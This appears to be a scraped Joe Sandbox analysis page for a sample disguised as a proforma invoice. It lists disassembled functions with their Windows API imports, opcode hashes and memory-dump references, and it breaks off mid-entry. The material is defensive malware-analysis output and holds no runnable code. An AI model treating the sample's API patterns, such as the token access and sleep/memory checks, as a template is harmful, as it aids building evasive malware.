Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: 10673ed9f00e6fed51b8a31d7e4de800ef936a9aadb984801057af9a5bfd0b6f
Instruction ID: fe575ca44266ba6ec63ba3cca17420b353a1b669c7c07ed729124ab5da811ebc
Opcode Fuzzy Hash: 10673ed9f00e6fed51b8a31d7e4de800ef936a9aadb984801057af9a5bfd0b6f
Instruction Fuzzy Hash: 4211A172201519FFEF128FA49C84EEB7B69EF19354F410216FA0452110D736DC60EBA5

Function 00443B3C Relevance: 6.1, APIs: 4, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 00443B56

Part of subcall function 00443AA3: BuildCatchObjectHelperInternal.LIBVCRUNTIME ref: 00443AD2
Part of subcall function 00443AA3: ___AdjustPointer.LIBCMT ref: 00443AED

_UnwindNestedFrames.LIBCMT ref: 00443B6B
__FrameHandler3::FrameUnwindToState.LIBVCRUNTIME ref: 00443B7C
CallCatchBlock.LIBVCRUNTIME ref: 00443BA4

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Catch$BuildFrameObjectUnwind$AdjustBlockCallFramesHandler3::HelperInternalNestedPointerState
String ID:
API String ID: 737400349-0
Opcode ID: 12ea49abee573113f57dbd3ec3a577afcc9c348439d29e6cbe32e78011ac24d3
Instruction ID: 206eb459b937fce6a28a039aa3506fed5dda4049bff876752660758f0b2f6f89
Opcode Fuzzy Hash: 12ea49abee573113f57dbd3ec3a577afcc9c348439d29e6cbe32e78011ac24d3
Instruction Fuzzy Hash: F0014432100148BBEF115E96CC41EEB3F6DFF88B59F044019FE4856111C736E961DBA4

Function 00453073 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,004213C6,00000000,00000000,?,0045301A,004213C6,00000000,00000000,00000000,?,0045328B,00000006,FlsSetValue), ref: 004530A5
GetLastError.KERNEL32(?,0045301A,004213C6,00000000,00000000,00000000,?,0045328B,00000006,FlsSetValue,004C2290,FlsSetValue,00000000,00000364,?,00452E46), ref: 004530B1
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,0045301A,004213C6,00000000,00000000,00000000,?,0045328B,00000006,FlsSetValue,004C2290,FlsSetValue,00000000), ref: 004530BF

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: dd7fc8d1cfd95dbc5baf0579c7f496a5bd93271a8c482ed33eba8d43a673113f
Instruction ID: 336a146e823a2b2a7ee73a43b0fd93e24ad053cb28a573cda00137c387d9c391
Opcode Fuzzy Hash: dd7fc8d1cfd95dbc5baf0579c7f496a5bd93271a8c482ed33eba8d43a673113f
Instruction Fuzzy Hash: AC01D832741322ABCB214E789CC496777989F45FE3B100731FD05E3286C725D909C6E8

Function 00487464 Relevance: 6.1, APIs: 4, Instructions: 51registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000), ref: 0048747F
LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 00487497
RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 004874AC
RegisterTypeLibForUser.OLEAUT32(?,?,00000000), ref: 004874CA

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Type$Register$FileLoadModuleNameUser
String ID:
API String ID: 1352324309-0
Opcode ID: 68622c86a70d8bee16650f7986c95fc4115da6de0aeb49d8b97ab966bf528cfa
Instruction ID: f9f274d6db1058f6f1d4245b326d65ae73a32cc6967e117db5d9f36d4bd88b0b
Opcode Fuzzy Hash: 68622c86a70d8bee16650f7986c95fc4115da6de0aeb49d8b97ab966bf528cfa
Instruction Fuzzy Hash: 001104B1205300AFE7209F14DD58F967FFCEB00F00F20896AEA56D6151D774E904CBA5

Function 0048B0A8 Relevance: 6.0, APIs: 4, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,0048ACD3,?,00008000), ref: 0048B0C4
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,0048ACD3,?,00008000), ref: 0048B0E9
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,0048ACD3,?,00008000), ref: 0048B0F3
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,0048ACD3,?,00008000), ref: 0048B126

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: 7ee710c1ccca07530ad4254533bd463c70f011b5f692a53a90c5b7f8f8a373ae
Instruction ID: 7a719b790e67c0d1363c4ba6f2ae16e8727efdbf9e7a86e4c7e08a59080af981
Opcode Fuzzy Hash: 7ee710c1ccca07530ad4254533bd463c70f011b5f692a53a90c5b7f8f8a373ae
Instruction Fuzzy Hash: 84115E31C0151CDBCF00EFE9D9986EEBB78FF0A751F10459AD981B6281CB3455518B99

Function 00482DA7 Relevance: 6.0, APIs: 4, Instructions: 34threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00482DC5
GetWindowThreadProcessId.USER32(?,00000000), ref: 00482DD6
GetCurrentThreadId.KERNEL32 ref: 00482DDD
AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 00482DE4

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: 741799f5f7f852a9257eaef1b04031215606ab7dc41563f3f777abdedd7edd8a
Instruction ID: 25de511150d630fb7bfd87cb78a1817bf05eea82668b8fb4091b5849b5f900fb
Opcode Fuzzy Hash: 741799f5f7f852a9257eaef1b04031215606ab7dc41563f3f777abdedd7edd8a
Instruction Fuzzy Hash: 27E092725412247BD7202B729C8DFEB3FACEF42BA1F000626F505D10809AE4C841C7B4

Function 004B8863 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00439639: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00439693
Part of subcall function 00439639: SelectObject.GDI32(?,00000000), ref: 004396A2
Part of subcall function 00439639: BeginPath.GDI32(?), ref: 004396B9
Part of subcall function 00439639: SelectObject.GDI32(?,00000000), ref: 004396E2

MoveToEx.GDI32(?,00000000,00000000,00000000), ref: 004B8887
LineTo.GDI32(?,?,?), ref: 004B8894
EndPath.GDI32(?), ref: 004B88A4
StrokePath.GDI32(?), ref: 004B88B2

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: f9fc80daa7187f23315b88871c360af5c27d8fa16118747172ed28453fb9b726
Instruction ID: 5eb27a4352b6de61ad9c23b333954d8197ee72f117333690417c05732d85534d
Opcode Fuzzy Hash: f9fc80daa7187f23315b88871c360af5c27d8fa16118747172ed28453fb9b726
Instruction Fuzzy Hash: ECF05E36042259FBDB126F94AC8AFDE3F59AF06310F048115FA11651E1C7B95521CFED

Function 004398B0 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 004398CC
SetTextColor.GDI32(?,?), ref: 004398D6
SetBkMode.GDI32(?,00000001), ref: 004398E9
GetStockObject.GDI32(00000005), ref: 004398F1

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Color$ModeObjectStockText
String ID:
API String ID: 4037423528-0
Opcode ID: 40d7b848b5850b76976a4b610e4220acfa4ee3c2bcb40607897062a5d2673bb2
Instruction ID: 098c4cd04a098d7eae85ce8b764ac150a3f0574c0d9237674d49ecb4cb5764ca
Opcode Fuzzy Hash: 40d7b848b5850b76976a4b610e4220acfa4ee3c2bcb40607897062a5d2673bb2
Instruction Fuzzy Hash: E1E06D31244280BBDB215B78AC89BE93F20AB12336F04C32AF6FA681E1C37546509F24

Function 0048162B Relevance: 6.0, APIs: 4, Instructions: 22threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00481634
OpenThreadToken.ADVAPI32(00000000,?,?,?,004811D9), ref: 0048163B
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,004811D9), ref: 00481648
OpenProcessToken.ADVAPI32(00000000,?,?,?,004811D9), ref: 0048164F

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: 91c2dedbf86cb800545240d28ac6e754e9b6b7329db22a8f4e78390600bd474a
Instruction ID: 228221741c2d7fa44cfcfd0621087d1f22f7a53dbd51b66ff3d8cd797e6ee5f3
Opcode Fuzzy Hash: 91c2dedbf86cb800545240d28ac6e754e9b6b7329db22a8f4e78390600bd474a
Instruction Fuzzy Hash: BFE08631601211DBD7202FE09D8DB8B3B7CAF54791F184929F686D9090E6384441C7A8

Function 0047D858 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 0047D858
GetDC.USER32(00000000), ref: 0047D862
GetDeviceCaps.GDI32(00000000,0000000C), ref: 0047D882
ReleaseDC.USER32(?), ref: 0047D8A3

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 8d39a549cc9496daa7678e109253823c0b964ab58b179af5d504787145bc635c
Instruction ID: b354efc3c8101b157f3cb07dd2a10257ad8a79cbc724c26dee49697c82867619
Opcode Fuzzy Hash: 8d39a549cc9496daa7678e109253823c0b964ab58b179af5d504787145bc635c
Instruction Fuzzy Hash: DCE01AB4C00204DFCB41AFE5D988A6DBBB6FB48310F10812AE816E7250C7384902AF99

Function 0047D86C Relevance: 6.0, APIs: 4, Instructions: 18COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 0047D86C
GetDC.USER32(00000000), ref: 0047D876
GetDeviceCaps.GDI32(00000000,0000000C), ref: 0047D882
ReleaseDC.USER32(?), ref: 0047D8A3

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: fe960969649fdf88e299321a4ba1302ef6115bc71550dafd8e7e6409df986a82
Instruction ID: 554cd4f5033affcbce3eb312965048469e67e03ace21912cad6294bfde2b4267
Opcode Fuzzy Hash: fe960969649fdf88e299321a4ba1302ef6115bc71550dafd8e7e6409df986a82
Instruction Fuzzy Hash: B8E01A74C00204DFCB40AFA4D888A6DBBB1BB48310F108119E806E7250C7385902AF98

Function 00494D87 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 230shareCOMMON

Download Yara Rule

APIs

Part of subcall function 00427620: _wcslen.LIBCMT ref: 00427625

WNetUseConnectionW.MPR(00000000,?,0000002A,00000000,?,?,0000002A,?), ref: 00494ED4

Strings

LPT, xrefs: 00494DFB
*, xrefs: 00494E10

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Connection_wcslen
String ID: *$LPT
API String ID: 1725874428-3443410124
Opcode ID: d8bf38acf0dd021cd924a36903007d69aecfe90b9526e57b8e62e99aa1653c01
Instruction ID: f8ddf7d5c9f34b8383e21942afc6efe4ec235de26040574c559739ebebd13d8f
Opcode Fuzzy Hash: d8bf38acf0dd021cd924a36903007d69aecfe90b9526e57b8e62e99aa1653c01
Instruction Fuzzy Hash: 91917175A002159FCF14DF54C484EAABBF1AF88308F1480AAE40A9F752D739ED86CB95

Function 0044E27D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 0044E30D

Strings

pow, xrefs: 0044E2E5, 0044E302

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 368d4c3248682da70af12363761c2889b51ff9307fcadf9c9367446f8873363b
Instruction ID: a1fd25de100252a31deeac5836686e7d40dfcd50b5f178c9825d9d7ea2863853
Opcode Fuzzy Hash: 368d4c3248682da70af12363761c2889b51ff9307fcadf9c9367446f8873363b
Instruction Fuzzy Hash: EE51826190C20196D7127B16E94277B37A4BB00742F3049BFECD5423EADB7D8C8D964E

Function 004A7771 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(0047569E,00000000,?,004BCC08,?,00000000,00000000), ref: 004A78DD

Part of subcall function 00426B57: _wcslen.LIBCMT ref: 00426B6A

CharUpperBuffW.USER32(0047569E,00000000,?,004BCC08,00000000,?,00000000,00000000), ref: 004A783B

Strings

<sN, xrefs: 004A77C8

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: BuffCharUpper$_wcslen
String ID: <sN
API String ID: 3544283678-1195803460
Opcode ID: 2e7dd8dcbd0fc096de30a1deb55c345dea3d75ba96dd969ada016fb16b662b5e
Instruction ID: bfb7160f030093b10e1312432d3d507ff0b3eecf7b7d8cdc80c962e03b333f0b
Opcode Fuzzy Hash: 2e7dd8dcbd0fc096de30a1deb55c345dea3d75ba96dd969ada016fb16b662b5e
Instruction Fuzzy Hash: 35618371A14128ABCF14FBA5DC91DFEB378BF24304F84402BE54263151EB3C5A45CBA8

Function 0043E187 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

#, xrefs: 0043E1B1

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: b58e661c8c8f58677a9a40fc8a1c624904e470d6ffea147c94e07fb9b0686dd1
Instruction ID: 5d0063d1ee91fe7a48ca78b4491e3e04105434701f5a4d2751376aa415c7774d
Opcode Fuzzy Hash: b58e661c8c8f58677a9a40fc8a1c624904e470d6ffea147c94e07fb9b0686dd1
Instruction Fuzzy Hash: 7E514431501206DFDB18DF2AD080AFB7BA8EF19310F24819BE8519B3D0D6389D43CB59

Function 0043F291 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 0043F2A2
GlobalMemoryStatusEx.KERNEL32(?), ref: 0043F2BB

Strings

@, xrefs: 0043F2AF

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: d3c9e4fcd253d113fe5b9c1131d0fc875bd405e76db8f4ace76d508ea9dc134d
Instruction ID: 24293c0fc56896a0c17fc01ec14f76f0ebf77e849ef1aa67b9eff314bc8757a7
Opcode Fuzzy Hash: d3c9e4fcd253d113fe5b9c1131d0fc875bd405e76db8f4ace76d508ea9dc134d
Instruction Fuzzy Hash: CF5148715087449BD320AF51EC86BAFBBF8FF84304F81885EF1D9411A5EB348529CB6A

Function 004A5745 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,00000003,?,?), ref: 004A57E0
_wcslen.LIBCMT ref: 004A57EC

Strings

CALLARGARRAY, xrefs: 004A57E6, 004A57EB

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: BuffCharUpper_wcslen
String ID: CALLARGARRAY
API String ID: 157775604-1150593374
Opcode ID: cfea633389105265ec8553bdd6cc46d68ea9f932fe21b3857a4ea13935d1a9a4
Instruction ID: 3a3f3b33b7eba67267eeaed76f1bcfdaff2b883447ccf224b8572cac2ddc9f89
Opcode Fuzzy Hash: cfea633389105265ec8553bdd6cc46d68ea9f932fe21b3857a4ea13935d1a9a4
Instruction Fuzzy Hash: 3041B071E001099FCB14EFAAC9819AEBBB5FF6A354F10402EE505A7351D73C9D81CBA8

Function 0049D0F4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 98networkCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0049D130
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 0049D13A

Strings

|, xrefs: 0049D10B

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: CrackInternet_wcslen
String ID: |
API String ID: 596671847-2343686810
Opcode ID: 003f5cbe8a8f7175c3ba88dea07e84418879ac93c8f370e087472f095aca8684
Instruction ID: 736f4d12072c409749e33176b69ce7ebfd3ba280f3f7de2d32b83d25b9567af9
Opcode Fuzzy Hash: 003f5cbe8a8f7175c3ba88dea07e84418879ac93c8f370e087472f095aca8684
Instruction Fuzzy Hash: A7315071D01119ABCF15EFA5DC85AEF7FB9FF04304F40002AF815A6261DB35A906CB58

Function 004B356C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 004B3621
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 004B365C

Strings

static, xrefs: 004B35BC

Memory Dump Source

